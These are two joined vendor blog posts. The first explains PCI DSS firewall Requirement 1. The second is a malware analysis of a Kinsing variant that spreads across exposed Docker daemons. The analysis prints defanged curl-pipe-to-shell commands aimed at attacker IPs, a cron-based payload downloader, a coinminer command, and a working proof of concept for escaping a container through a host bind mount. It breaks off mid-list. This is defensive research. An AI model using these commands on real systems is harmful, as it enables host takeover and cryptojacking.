So we’ve made it to the last part of our blog series on PCI 3.0 Requirement 1. The first two posts covered Requirement 1.1... Auditing and Compliance Avoid the Traps: What You Need to Know About PCI Requirement 1 (Part 3) Matthew Pascucci 2 min read Matthew Pascucci Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 9/9/14 Published So we’ve made it to the last part of our blog series on PCI 3.0 Requirement 1. The first two posts covered Requirement 1.1 (appropriate firewall and router configurations) and 1.2 (restrict connections between untrusted networks and any system components in the cardholder data environment) and in this final post we’ll discuss key requirements of Requirements 1.3 -1.5 and I’ll again give you my insight to help you understand the implications of these requirements and how to comply with them. Implement a DMZ to limit inbound traffic to only system components that provide authorized publicly accessible services, protocols, and ports (1.3.1.): The DMZ is used to publish services such as HTTP and HTTPS to the internet and allow external entities to access these services. But the key point here is that you don’t need to open every port on the DMZ. This requirement verifies that a company has a DMZ implemented and that inbound activity is limited to only the required protocols and ports. Limit inbound Internet traffic to IP addresses within the DMZ (1.3.2): This is a similar requirement to 1.3.1, however instead of looking for protocols, the requirement focuses on the IPs that the protocol is able to access. In this case, just because you might need HTTP open to a web server, doesn’t mean that all systems should have external port 80 open to inbound traffic. Do not allow any direct connections inbound or outbound for traffic between the Internet and the cardholder data environment (1.3.3): This requirement verifies that there isn’t unfiltered access, either going into the CDE or leaving it, which means that all traffic that traverses this network must pass through a firewall. All unwanted traffic should be blocked and all allowed traffic should be permitted based on an explicit source/destination/protocol. There should never be a time that someone can enter or leave the CDE without first being inspected by a firewall of some type. Implement anti-spoofing measures to detect and block forged source IP addresses from entering the network (1.3.4): In an attempt to bypass your firewall, cyber attackers will try and spoof packets using the internal IP range of your network to make it look like the request originated internally. Enabling the IP spoofing feature on your firewall will help prevent these types of attacks. Do not allow unauthorized outbound traffic from the cardholder data environment to the Internet (1.3.5): Similar to 1.3.3, this requirement assumes that you don’t have direct outbound access to the internet without a firewall. However in the event that a system has filtered egress access to the internet the QSA will want to understand why this access is needed, and whether there are controls in place to ensure that sensitive data cannot be transmitted outbound. Implement stateful inspection, also known as dynamic packet filtering (1.3.6): If you’re running a modern firewall this feature is most likely already configured by default. With stateful inspection, the firewall maintains a state table which includes all the connections that traverse the firewall, and it knows if there’s a valid response from the current connection. It is used to stop attackers from trying to trick a firewall into initiating a request that didn’t previously exist. Place system components that store cardholder data (such as a database) in an internal network zone, segregated from the DMZ and other untrusted networks (1.3.7): Attackers are looking for your card holder database. Therefore, it shouldn’t be stored within the DMZ. The DMZ should be considered an untrusted network and segregated from the rest of the network. By having the database on the internal network provides another layer of protection against unwanted access. [Also see my suggestions for designing and securing you DMZ in my previous blog series: The Ideal Network Security Perimeter Design: Examining the DMZ Do not disclose private IP addresses and routing information to unauthorized parties (1.3.8): There should be methods in place to prevent your internal IP address scheme from being leaked outside your company. Attackers are looking for any information on how to breach your network, and giving them your internal address scheme is just one less thing they need to learn. You can stop this by using NAT, proxy servers, etc. to limit what can be seen from the outside. Install personal firewall software on any mobile and/or employee-owned devices that connect to the Internet when outside the network (for example, laptops used by employees), and which are also used to access the network (1.4): Mobile devices, such as laptops, that can connect to both the internal network and externally, should have a personal firewall configured with rules that prevent malicious software or attackers from communicating with the device. These firewalls need to be configured so that their rulebase can never be stopped or changed by anyone other than an administrator. Ensure that security policies and operational procedures for managing firewalls are documented, in use, and known to all affected parties (1.5): There needs to be a unified policy regarding firewall maintenance including how maintenance procedures are performed, who has access to the firewall and when maintenance is scheduled. Well, that’s it! Hopefully, my posts have given you a better insight into what is actually required in Requirement 1 and what you need to do to comply with it. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call